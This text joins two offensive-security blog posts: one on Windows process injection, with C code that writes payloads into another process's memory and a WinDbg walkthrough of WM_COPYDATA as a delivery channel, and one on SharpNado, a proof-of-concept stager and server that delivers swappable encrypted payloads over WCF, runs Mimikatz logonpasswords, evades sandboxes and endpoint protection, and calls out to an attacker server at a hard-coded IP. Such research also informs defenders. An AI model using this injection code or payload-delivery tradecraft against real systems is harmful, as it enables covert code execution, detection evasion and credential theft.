Windows Process Injection: Sharing the payload

Original text

Introduction

The last post discussed some of the problems when writing a payload for process injection. The purpose of this post is to discuss deploying the payload into the memory space of a target process for execution. One can use conventional Win32 API for this task that some of you will already be familiar with, but there’s also the potential to be creative using unconventional approaches. For example, we can use API to perform read and write operations they weren’t originally intended for, that might help evade detection. There are various ways to deploy and execute a payload, but not all are simple to use. Let’s first focus on the conventional API that despite being relatively easy to detect are still popular among threat actors.

Below is a screenshot of VMMap from sysinternals showing the types of memory allocated for the system I’ll be working on (Windows 10). Some of this memory has the potential to be used for storage of a payload.

Allocating virtual memory

Each process has its own virtual address space. Shared memory exists between processes, but in general, process A should not be able to view the virtual memory of process B without assistance from the Kernel. The Kernel can of course see the virtual memory of all processes because it has to perform virtual to physical memory translation. Process A can allocate new virtual memory in the address space of process B using Virtual Memory API that is then handled internally by the Kernel. Some of you may be familiar with the following steps to deploy a payload in virtual memory of another process.

  1. Open a target process using OpenProcess or NtOpenProcess.
  2. Allocate eXecute-Read-Write (XRW) memory in a target process using VirtualAllocEx or NtAllocateVirtualMemory.
  3. Copy a payload to the new memory using WriteProcessMemory or NtWriteVirtualMemory.
  4. Execute payload.
  5. De-allocate XRW memory in target process using VirtualFreeEx or NtFreeVirtualMemory.
  6. Close target process handle with CloseHandle or NtClose.

Using the Win32 API. This only shows the allocation of XRW memory and writing the payload to new memory.

PVOID CopyPayload1(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID ptr=NULL;
    SIZE_T tmp;
    
    // 1. allocate memory
    ptr = VirtualAllocEx(hp, NULL, 
      payloadSize, MEM_COMMIT|MEM_RESERVE,
      PAGE_EXECUTE_READWRITE);
      
    // 2. write payload
    WriteProcessMemory(hp, ptr, 
      payload, payloadSize, &tmp);
    
    return ptr;
}

Alternatively using the Nt/Zw API.

LPVOID CopyPayload2(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID   ptr=NULL;
    ULONG    len=payloadSize;
    NTSTATUS nt;
    ULONG    tmp;
    
    // 1. allocate memory
    NtAllocateVirtualMemory(hp, &ptr, 0, 
      &len, MEM_COMMIT|MEM_RESERVE,
      PAGE_EXECUTE|PAGE_READWRITE);
      
    // 2. write payload
    NtWriteVirtualMemory(hp, ptr, 
      payload, payloadSize, &tmp);
    
    return ptr;
}

Although not shown here, an additional operation to remove Write permissions of the virtual memory might be used.

Create a section object

Another way is using section objects. What does Microsoft say about them?

A section object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.

Although the use of these API in a regular application is an indication of something malicious, threat actors will continue to use them for process injection.

  1. Create a new section object using NtCreateSection and assign to S.
  2. Map a view of S for attacking process using NtMapViewOfSection and assign to B1.
  3. Map a view of S for target process using NtMapViewOfSection and assign to B2.
  4. Copy a payload to B1.
  5. Unmap B1.
  6. Close S
  7. Return pointer to B2.
LPVOID CopyPayload3(HANDLE hp, LPVOID payload, ULONG payloadSize){
    HANDLE        s;
    LPVOID        ba1=NULL, ba2=NULL;
    ULONG         vs=0;
    LARGE_INTEGER li;

    li.HighPart = 0;
    li.LowPart  = payloadSize;
    
    // 1. create a new section
    NtCreateSection(&s, SECTION_ALL_ACCESS, 
      NULL, &li, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // 2. map view of section for current process
    NtMapViewOfSection(s, GetCurrentProcess(),
      &ba1, 0, 0, 0, &vs, ViewShare,
      0, PAGE_EXECUTE_READWRITE);
    
    // 3. map view of section for target process  
    NtMapViewOfSection(s, hp, &ba2, 0, 0, 0, 
      &vs, ViewShare, 0, PAGE_EXECUTE_READWRITE); 
    
    // 4. copy payload to section of memory
    memcpy(ba1, payload, payloadSize);

    // 5. unmap memory in the current process
    ZwUnmapViewOfSection(GetCurrentProcess(), ba1);
    
    // 6. close section
    ZwClose(s);
    
    // 7. return pointer to payload in target process space
    return (PBYTE)ba2;
}

Using an existing section object and ROP chain

The Powerloader malware used existing shared objects created by explorer.exe to store a payload, but due to permissions of the object (Read-Write) could not directly execute the code without the use of a Return Oriented Programming (ROP) chain. It’s possible to copy a payload to the memory, but not to execute it without some additional trickery.

The following section names were used by PowerLoader for code injection.

"\BaseNamedObjects\ShimSharedMemory"
"\BaseNamedObjects\windows_shell_global_counters"
"\BaseNamedObjects\MSCTF.Shared.SFM.MIH"
"\BaseNamedObjects\MSCTF.Shared.SFM.AMF"
"\BaseNamedObjects\UrlZonesSM_Administrator"
"\BaseNamedObjects\UrlZonesSM_SYSTEM"
  1. Open existing section of memory in target process using NtOpenSection
  2. Map view of section using NtMapViewOfSection
  3. Copy payload to memory
  4. Use a ROP chain to execute

UI Shared Memory

enSilo demonstrated with PowerLoaderEx using UI shared memory for process execution. Injection on Steroids: Codeless code injection and 0-day techniques provides more details of how it works. It uses the desktop heap for injecting the payload into explorer.exe.

Reading a Desktop Heap Overview over at MSDN, we can see there’s already shared memory between processes for the User Interface.

Every desktop object has a single desktop heap associated with it. The desktop heap stores certain user interface objects, such as windows, menus, and hooks. When an application requires a user interface object, functions within user32.dll are called to allocate those objects. If an application does not depend on user32.dll, it does not consume desktop heap.

Using a code cave

Host Intrusion Prevention Systems (HIPS) will regard the use of VirtualAllocEx/WriteProcessMemory as suspicious activity, and this is likely why the authors of PowerLoader used existing section objects. PowerLoader likely inspired the authors behind AtomBombing to use a code cave in a Dynamic-link Library (DLL) for storing a payload and using a ROP chain for execution.

AtomBombing uses a combination of GlobalAddAtomGlobalGetAtomName and NtQueueApcThread to deploy a payload into a target process. The execution is accomplished using a ROP chain and SetThreadContext. What other ways could one deploy a payload without using the standard approach?

Interprocess Communication (IPC) can be used to share data with another process. Some of the ways this can be achieved include:

  • Clipboard (WM_PASTE)
  • Data Copy (WM_COPYDATA)
  • Named pipes
  • Component Object Model (COM)
  • Remote Procedure Call (RPC)
  • Dynamic Data Exchange (DDE)

For the purpose of this post, I decided to examine WM_COPYDATA, but in hindsight, I think COM might be a better line of enquiry.

Data can be legitimately shared between GUI processes via the WM_COPYDATA message, but can it be used for process injection?. SendMessage and PostMessage are two such APIs that can be used to write data into a remote process space without explicitly opening the target process and copying data there using Virtual Memory API.

Kernel Attacks through User-Mode Callbacks presented at Blackhat 2011 by Tarjei Mandt, lead me to examine the potential for using the KernelCallbackTable located in the Process Environment Block (PEB) for process injection. This field is initialized to an array of functions when user32.dll is loaded into a GUI process and this is where I initially started looking after learning how window messages are dispatched by the kernel.

With WinDbg attached to notepad, obtain the address of the PEB.

0:001> !peb
!peb
PEB at 0000009832e49000

Dumping this in the windows debugger shows the following details. What we’re interested in here is the KernelCallbackTable, so I’ve stripped out most of the fields.

0:001> dt !_PEB 0000009832e49000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
	
	// details stripped out
	
   +0x050 ReservedBits0    : 0y0000000000000000000000000 (0)
   +0x054 Padding1         : [4]  ""
   +0x058 KernelCallbackTable : 0x00007ffd6afc3070 Void
   +0x058 UserSharedInfoPtr : 0x00007ffd6afc3070 Void

If we dump the address 0x00007ffd6afc3070 using the dump symbol command, we see a reference to USER32!apfnDispatch.

0:001> dps $peb+58
0000009832e49058  00007ffd6afc3070 USER32!apfnDispatch
0000009832e49060  0000000000000000
0000009832e49068  0000029258490000
0000009832e49070  0000000000000000
0000009832e49078  00007ffd6c0fc2e0 ntdll!TlsBitMap
0000009832e49080  000003ffffffffff
0000009832e49088  00007df45c6a0000
0000009832e49090  0000000000000000
0000009832e49098  00007df45c6a0730
0000009832e490a0  00007df55e7d0000
0000009832e490a8  00007df55e7e0228
0000009832e490b0  00007df55e7f0650
0000009832e490b8  0000000000000001
0000009832e490c0  ffffe86d079b8000
0000009832e490c8  0000000000100000
0000009832e490d0  0000000000002000

Closer inspection of USER32!apfnDispatch reveals an array of functions.

0:001> dps USER32!apfnDispatch

00007ffd6afc3070  00007ffd6af62bd0 USER32!_fnCOPYDATA
00007ffd6afc3078  00007ffd6afbae70 USER32!_fnCOPYGLOBALDATA
00007ffd6afc3080  00007ffd6af60420 USER32!_fnDWORD
00007ffd6afc3088  00007ffd6af65680 USER32!_fnNCDESTROY
00007ffd6afc3090  00007ffd6af696a0 USER32!_fnDWORDOPTINLPMSG
00007ffd6afc3098  00007ffd6afbb4a0 USER32!_fnINOUTDRAG
00007ffd6afc30a0  00007ffd6af65d40 USER32!_fnGETTEXTLENGTHS
00007ffd6afc30a8  00007ffd6afbb220 USER32!_fnINCNTOUTSTRING
00007ffd6afc30b0  00007ffd6afbb750 USER32!_fnINCNTOUTSTRINGNULL
00007ffd6afc30b8  00007ffd6af675c0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffd6afc30c0  00007ffd6af641f0 USER32!__fnINLPCREATESTRUCT
00007ffd6afc30c8  00007ffd6afbb2e0 USER32!_fnINLPDELETEITEMSTRUCT
00007ffd6afc30d0  00007ffd6af6bc00 USER32!__fnINLPDRAWITEMSTRUCT
00007ffd6afc30d8  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e0  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e8  00007ffd6afbb430 USER32!_fnINLPMDICREATESTRUCT

The first function, USER32!_fnCOPYDATA, is called when process A sends the WM_COPYDATA message to a window belonging to process B. The kernel will dispatch the message, including other parameters to the target window handle, that will be handled by the windows procedure associated with it.

0:001> u USER32!_fnCOPYDATA
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h
00007ffd6af62bd4 33c0            xor     eax,eax
00007ffd6af62bd6 4c8bd1          mov     r10,rcx
00007ffd6af62bd9 89442438        mov     dword ptr [rsp+38h],eax
00007ffd6af62bdd 4889442440      mov     qword ptr [rsp+40h],rax
00007ffd6af62be2 394108          cmp     dword ptr [rcx+8],eax
00007ffd6af62be5 740b            je      USER32!_fnCOPYDATA+0x22 (00007ffd6af62bf2)
00007ffd6af62be7 48394120        cmp     qword ptr [rcx+20h],rax

Set a breakpoint on this function and continue execution.

0:001> bp USER32!_fnCOPYDATA
0:001> g

The following piece of code will send the WM_COPYDATA message to notepad. Compile and run it.

int main(void){
  COPYDATASTRUCT cds;
  HWND           hw;
  WCHAR          msg[]=L"I don't know what to say!\n";
  
  hw = FindWindowEx(0,0,L"Notepad",0);
  
  if(hw!=NULL){   
    cds.dwData = 1;
    cds.cbData = lstrlen(msg)*2;
    cds.lpData = msg;
    
    // copy data to notepad memory space
    SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
  }
  return 0;
}

Once this code executes, it will attempt to find the window handle of Notepad before sending it the WM_COPYDATA message, and this will trigger our breakpoint in the debugger. The call stack shows where the call originated from, in this case it’s from KiUserCallbackDispatcherContinue. Based on the calling convention, the arguments are placed in RCX, RDX, R8 and R9.

Breakpoint 0 hit
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h
0:000> k
 # Child-SP          RetAddr           Call Site
00 0000009832caf618 00007ffd6c03dbc4 USER32!_fnCOPYDATA
01 0000009832caf620 00007ffd688d1144 ntdll!KiUserCallbackDispatcherContinue
02 0000009832caf728 00007ffd6af61b0b win32u!NtUserGetMessage+0x14
03 0000009832caf730 00007ff79cc13bed USER32!GetMessageW+0x2b
04 0000009832caf790 00007ff79cc29333 notepad!WinMain+0x291
05 0000009832caf890 00007ffd6bb23034 notepad!__mainCRTStartup+0x19f
06 0000009832caf950 00007ffd6c011431 KERNEL32!BaseThreadInitThunk+0x14
07 0000009832caf980 0000000000000000 ntdll!RtlUserThreadStart+0x21

0:000> r
rax=00007ffd6af62bd0 rbx=0000000000000000 rcx=0000009832caf678
rdx=00000000000000b0 rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62bd0 rsp=0000009832caf618 rbp=0000009832caf829
 r8=0000000000000000  r9=00007ffd6afc3070 r10=0000000000000000
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h

Dumping the contents of first parameter in the RCX register shows some recognizable data sent by the example program. notepad!NPWndProc is obviously the callback procedure associated with the target window receiving WM_COPYDATA.

0:000> dps rcx
0000009832caf678  00000038000000b0
0000009832caf680  0000000000000001
0000009832caf688  0000000000000000
0000009832caf690  0000000000000070
0000009832caf698  0000000000000000
0000009832caf6a0  0000029258bbc070
0000009832caf6a8  000000000000004a       // WM_COPYDATA
0000009832caf6b0  00000000000c072e
0000009832caf6b8  0000000000000001
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000000000000078
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049

The structure passed to fnCOPYDATA isn’t part of the debugging symbols, but here’s what we’re looking at.

typedef struct _CAPTUREBUF {
    DWORD cbCallback;
    DWORD cbCapture;
    DWORD cCapturedPointers;
    PBYTE pbFree;              
    DWORD offPointers;
    PVOID pvVirtualAddress;
} CAPTUREBUF, *PCAPTUREBUF;

typedef struct _FNCOPYDATAMSG {
    CAPTUREBUF     CaptureBuf;
    PWND           pwnd;
    UINT           msg;
    HWND           hwndFrom;
    BOOL           fDataPresent;
    COPYDATASTRUCT cds;
    ULONG_PTR      xParam;
    PROC           xpfnProc;
} FNCOPYDATAMSG;

Continue to single-step (t) through the code and examine the contents of the registers.

0:000> r
r
rax=00007ffd6c039da0 rbx=0000000000000000 rcx=00007ff79cc131b0
rdx=000000000000004a rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62c16 rsp=0000009832caf5c0 rbp=0000009832caf829
 r8=00000000000c072e  r9=0000009832caf6c0 r10=0000009832caf678
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
USER32!_fnCOPYDATA+0x46:
00007ffd6af62c16 498b4a28        mov     rcx,qword ptr [r10+28h] ds:0000009832caf6a0=0000029258bbc070

0:000> u rcx
notepad!NPWndProc:
00007ff79cc131b0 4055            push    rbp
00007ff79cc131b2 53              push    rbx
00007ff79cc131b3 56              push    rsi
00007ff79cc131b4 57              push    rdi
00007ff79cc131b5 4154            push    r12
00007ff79cc131b7 4155            push    r13
00007ff79cc131b9 4156            push    r14
00007ff79cc131bb 4157            push    r15

We see a pointer to COPYDATASTRUCT is placed in r9.

0:000> dps r9
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000009832caf6f0
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049
0000009832caf6f8  002000740027006e
0000009832caf700  0077006f006e006b
0000009832caf708  0061006800770020
0000009832caf710  006f007400200074
0000009832caf718  0079006100730020
0000009832caf720  00000000000a0021
0000009832caf728  00007ffd6af61b0b USER32!GetMessageW+0x2b
0000009832caf730  0000009800000000
0000009832caf738  0000000000000001

This structure is defined in the debugging symbols, so we can dump it showing the values it contains.

0:000> dt uxtheme!COPYDATASTRUCT 0000009832caf6c0
   +0x000 dwData           : 1
   +0x008 cbData           : 0x34
   +0x010 lpData           : 0x0000009832caf6f0 Void

Finally, examine the lpData field that should contain the string we sent from process A.

0:000> du poi(0000009832caf6c0+10)
0000009832caf6f0  "I don't know what to say!."

We can see this address belongs to the stack allocated when thread was created.

0:000> !address 0000009832caf6f0

Usage:                  Stack
Base Address:           0000009832c9f000
End Address:            0000009832cb0000
Region Size:            0000000000011000 (  68.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        0000009832c30000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~0k

Examining the Thread Information Block (TIB) that is located in the Thread Environment Block (TEB) provides us with the StackBase and StackLimit.

0:001> dx -r1 (*((uxtheme!_NT_TIB *)0x9832e4a000))
(*((uxtheme!_NT_TIB *)0x9832e4a000))                 [Type: _NT_TIB]
    [+0x000] ExceptionList    : 0x0 [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x008] StackBase        : 0x9832cb0000 [Type: void *]
    [+0x010] StackLimit       : 0x9832c9f000 [Type: void *]
    [+0x018] SubSystemTib     : 0x0 [Type: void *]
    [+0x020] FiberData        : 0x1e00 [Type: void *]
    [+0x020] Version          : 0x1e00 [Type: unsigned long]
    [+0x028] ArbitraryUserPointer : 0x0 [Type: void *]
    [+0x030] Self             : 0x9832e4a000 [Type: _NT_TIB *]

OK, we can use WM_COPYDATA to deploy a payload into a target process IF it has a GUI attached to it, but it’s not useful unless we can execute it. Moreover, the stack is a volatile area of memory and therefore unreliable to use as a code cave. To execute it would require locating the exact address and using a ROP chain. By the time the ROP chain is executed, there’s no guarantee the payload will still be intact. So, we probably can’t use WM_COPYDATA on this occasion, but it’s worth remembering there are likely many ways of sharing a payload with another process using legitimate API that are less suspicious than using WriteProcessMemory or NtWriteVirtualMemory.

In the case of WM_COPYDATA, one would still need to determine the exact address in stack of payload. Contents of the Thread Environment Block (TEB) can be retrieved via the NtQueryThreadInformation API using the ThreadBasicInformation class. After reading the TebAddress, the StackLimit and StackBase values can be read. In any case, the volatility of the stack means the payload would likely be overwritten before being executed.

Summary

Avoiding the conventional API used to deploy and execute a payload all increase the difficulty of detection. PowerLoader used a code cave in existing section object and a ROP chain for execution. PowerLoaderEx, which is a PoC used the desktop heap, while the AtomBombing PoC uses a code cave in .data section of a DLL.

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SharpNado — Teaching an old dog evil tricks using .NET Remoting or WCF to host smarter and dynamic payloads

( Original text by Shawn Jones )

Disclaimer:

I am not a security researcher, expert, or guru.  If I misrepresent anything in this article, I assure you it was on accident and I will gladly make any updates if needed.  This is intended for educational purposes only.

TL;DR:

SharpNado is proof of concept tool that demonstrates how one could use .Net Remoting or Windows Communication Foundation (WCF) to host smarter and dynamic .NET payloads.  SharpNado is not meant to be a full functioning, robust, payload delivery system nor is it anything groundbreaking. It’s merely something to get the creative juices flowing on how one could use these technologies or others to create dynamic and hopefully smarter payloads. I have provided a few simple examples of how this could be used to either dynamically execute base64 assemblies in memory or dynamically compile source code and execute it in memory.  This, however, could be expanded upon to include different kinds of stagers, payloads, protocols, etc.

So, what is WCF and .NET Remoting?

While going over these is beyond the scope of this blog, Microsoft describes Windows Communication Foundation as a framework for building service-oriented applications and .NET Remoting as a framework that allows objects living in different AppDomains, processes, and machines to communicate with each other.  For the sake of simplicity, let’s just say one of its use cases is it allows two applications living on different systems to share information back and forth with each other. You can read more about them here:

WCF

.NET Remoting

 A few examples of how this could be useful:

1. Smarter payloads without the bulk

What do I mean by this?  Since WCF and .NET Remoting are designed for communication between applications, it allows us to build in logic server side to make smarter decisions depending on what information the client (stager) sends back to the server.  This means our stager can still stay small and flexible but we can also build in complex rules server side that allow us to change what the stager executes depending on environmental situations.  A very simple example of payload logic would be the classic, if domain user equals X fire and if not don’t.  While this doesn’t seem very climatic, you could easily build in more complex rules.  For example, if the domain user equals X,  the internal domain is correct and user X has administrative rights, run payload Y or if user X is a standard user, and the internal domain is correct, run payload Z.  Adding to this, we could say if user X is correct, but the internal domain is a mismatch, send back the correct internal domain and let me choose if I want to fire the payload or not.  These back-end rules can be as simple or complex as you like.  I have provided a simple sandbox evasion example with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.

2. Payloads can be dynamic and quickly changed on the fly:

Before diving into this, let’s talk about some traditional ways of payload delivery first and then get into how using a technology like WCF or .NET Remoting could be helpful.  In the past and even still today, many people hard-code their malicious code into the payload sent, often using some form of encryption that only decrypts and executes upon meeting some environmental variable or often they use a staged approach where the non-malicious stager reaches out to the web, retrieves our malicious code and executes it as long as environmental variables align.  The above examples are fine and still work well even today and I am in no way tearing these down at all or saying better ways don’t exist.  I am just using them as a starting point to show how I believe the below could be used as a helpful technique and up the game a bit, so just roll with it.

So what are a few of the pain points of the traditional payload delivery methods?  Well with the hard-coded payload, we usually want to keep our payloads small so the complexity of our malicious code we execute is minimal, hence the reason many use a stager as the first step of our payload.  Secondly, if we sent out 10 payloads and the first one gets caught by end point protection, then even if the other 9 also get executed by their target, they too will fail.  So, we would have to create a new payload, pick 10 new targets and again hope for the best.

Using WCF or .NET Remoting we can easily create a light stager that allows us to quickly switch between what the stager will execute.  We can do this either by back-end server logic as discussed above or by quickly setting different payloads within the SharpNado console.  So, let’s say our first payload gets blocked by endpoint protection. Since we already know our stager did try to execute our first payload due to the way the stager/server communicate we can use our deductive reason skills to conclude that our stager is good but the malicious code it tried to execute got caught. We can quickly, in the console, switch our payload to our super stealthy payload and the next time any of the stagers execute, the super stealthy payload will fire instead of the original payload which got caught. This saves us the hassle of sending a new payload to new targets.  I have provided simple examples of how to do this with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.

3. Less complex to setup:

You might be thinking to yourself that I could do all this with mod rewrite rules and while that is absolutely true, mod rewrite rules can be a little more complex and time consuming to setup.  This is not meant to replace mod rewrite or anything.  Long live mod rewrite!  I am just pointing out that writing your back-end rules in a language like C# can allow easier to follow rules, modularization, and data parsing/presentation.

4. Payloads aren’t directly exposed:

What do I mean by this?  You can’t just point a web browser at your server IP and see payloads hanging out in some open web directory to be analyzed/downloaded.  In order to capture payloads, you would have to have some form of MiTM between the stager and the server.  This is because when using WCF or .NET Remoting, the malicious code (payload) you want your stager to execute along with any complex logic we want to run sits behind our remote server interface.  That remote interface exposes only the remote server side methods which can then be called by your stager. Now, if at this point you are thinking WTF, I encourage you to review the above links and dive deeper into how WCF or .NET Remoting works.  As there are many people who explain it and understand it better than I ever will.

Keep in mind, that you would still want to encrypt all of your payloads before they are sent over the wire to better protect your payloads.  You would also want to use other evasion techniques, for example, amount of times the stager has been called or how much time has passed since the stager was sent, etc.

5. Been around awhile:

.NET Remoting and WCF have been around a long time. There are tons of examples out there from developers on lots of ways to use this technology legitimately and it is probably a pretty safe bet that there are still a lot of organizations using this technology in legit applications. Like you, I like exposing ways one might do evil with things people use for legit purposes and hopefully bring them to light. Lastly, the above concepts could be used with other technologies as well, this just highlights one of many ways to accomplish the same goal.
Examples:

Simple dynamic + encrypted payload example:

In the first example we will use SharpNado to host a base64 version of SharpSploitConsole and execute Mimikatz logonpasswords function.  First, we will setup our XML payload template that the server will be able to use when our stager executes.  Payload template examples can be found on GitHub in the Payloads folder.  Keep in mind that the ultimate goal would be to have many payload templates already setup that you could quickly switch between. The below screenshots give an example of what the template would look like.

Template example:

This is what it would look like after pasting in base64 code and setting arguments:

Once we have our template payload setup, we can go ahead and run SharpNado_x64.exe (with Administrator rights) and setup our listening service that our stager will call out to. In this example we will use WCF over HTTP on port 8080.  So, our stager should be setup to connect to http://192.168.55.250:8080/Evil.  I would like to note two things here.  First is that with a little bit of work upfront server side, this could be modified to support HTTPS and secondly, SharpNado does not depend on the templates being setup prior to running.  You can add/delete/modify templates any time while the server is running using whatever text editor you would like.

Now let’s see what payloads we currently have available.  Keep in mind you may use any naming scheme you would like for your payloads.  I suggest naming payloads and stagers what makes most sense to you.  I only named them this way to make it easier to follow along.

In this example I will be using the b64SharpSploitConsole payload and have decided that I want the payload to be encrypted server side and decrypted client side using the super secure password P@55w0rd.  I would like to note here (outlined in red) that it is important for you to set your payload directory correctly.  This directory is what SharpNado uses to pull payloads.  A good way to test this is to run the command «show payloads» and if your payloads show up, you know you set it correctly.

Lastly, we will setup our stager.  Since I am deciding to encrypt our payload, I will be using the example SharpNado_HTTP_WCF_Base64_Encrypted.cs stager example found in the Stagers folder on GitHub.  I will simply be compiling this and running the stager exe but this could be delivered via .NetToJavaScript or by some other means if you like.

Now that we have compiled our stager, we will start the SharpNado service by issuing the «run» command.  This shows us what interface is up and what the service is listening on, so it is good to check this to make sure again, that everything is setup correctly.

Now when our stager gets executed, we should see the below.

And on our server side we can see that the encrypted server method was indeed called by our stager.  Keep in mind, we can build in as much server logic as we like.  This is just an example.

Now for demo purposes, I will quickly change the payload to b64NoPowershell_ipconfig_1 and when we run the same exact stager again, we instead will show our ipconfig information.  Again, this is only for simple demonstration of how you can quickly change out payloads.

Simple sandbox evade example:

In this second example I will go over an extremely watered-down version of how you could use SharpNado to build smarter payloads.  The example provided with SharpNado is intended to be a building block and could be made as complex or simple as you like.  Since our SharpNado service is already running from or previous example, all we need to do is set our payloads to use in the SharpNado console.  For this example, I again will be using the same payloads from above. I will run the b64SharpSploitConsole payload if we hit our correct target and the b64NoPowershell_ipconfig_1 payload if we don’t hit our correct target.

Looking at our simple stager example below we can see that if the user anthem is who executed our stager, the stager will send a 1 back to the SharpNado service or a 0 will be sent if the user isn’t anthem.  Please keep in mind you could however send back any information you like, including username, domain, etc.

Below is a partial screenshot of the example logic I provided with SharpNado. Another thing I want to point out is that I provided an example of how you could count how many times the service method has been called and depending on threshold kill the service.  This would be an example of building in counter measures if we think we are being analyzed and/or sand-boxed.

Moving forward when we run our stager with our anthem user, we can see that we get a message server side and that the correct payload fired.

Now if I change the user to anthem2 and go through the process again.  We can see that our non-malicious payload fires.  Keep in mind, the stagers could be setup in a way that values aren’t hard coded in.  You could have a list of users on your server and have your stager loop through that list and if anything matches, execute and if not do something else.  Again, it’s really up to your imagination.

Compile source code on the fly example:

Let’s do one more quick example but using C# source code.  This stager method will use System.CodeDom.Compiler which does shortly drop stuff to disk right before executing in memory but one could create a stager that takes advantage of the open source C# and VB compiler Roslyn to do the same thing.  This doesn’t touch disk as pointed out by @cobbr_io in his SharpShell blog post.

The below payload template example runs a No PowerShell payload that executes ipconfig but I also provided an example that would execute a PowerShell Empire or PowerShell Cobalt Strike Beacon on GitHub:

Then we will setup our stager.  In this example I will use the provided GitHub stager SharpNado_HTTP_WCF_SourceCompile.cs.

We will then take our already running SharpNado service and quickly add our payload.

Now when we run our stager, we should see our ipconfig output.

Conclusion:

Hopefully this has been a good intro to how one could use WCF or .NET Remoting offensively or at least sparked a few ideas for you to research on your own. I am positive that there are much better ways to accomplish this, but it was something that I came across while doing other research and I thought it would be neat to whip up a small POC.  Till next time and happy hacking!

Link to tools:

SharpNado — https://github.com/anthemtotheego/SharpNado

SharpNado Compiled Binaries — https://github.com/anthemtotheego/SharpNado/tree/master/CompiledBinaries

SharpSploitConsole — https://github.com/anthemtotheego/SharpSploitConsole

SharpSploit — https://github.com/cobbr/SharpSploit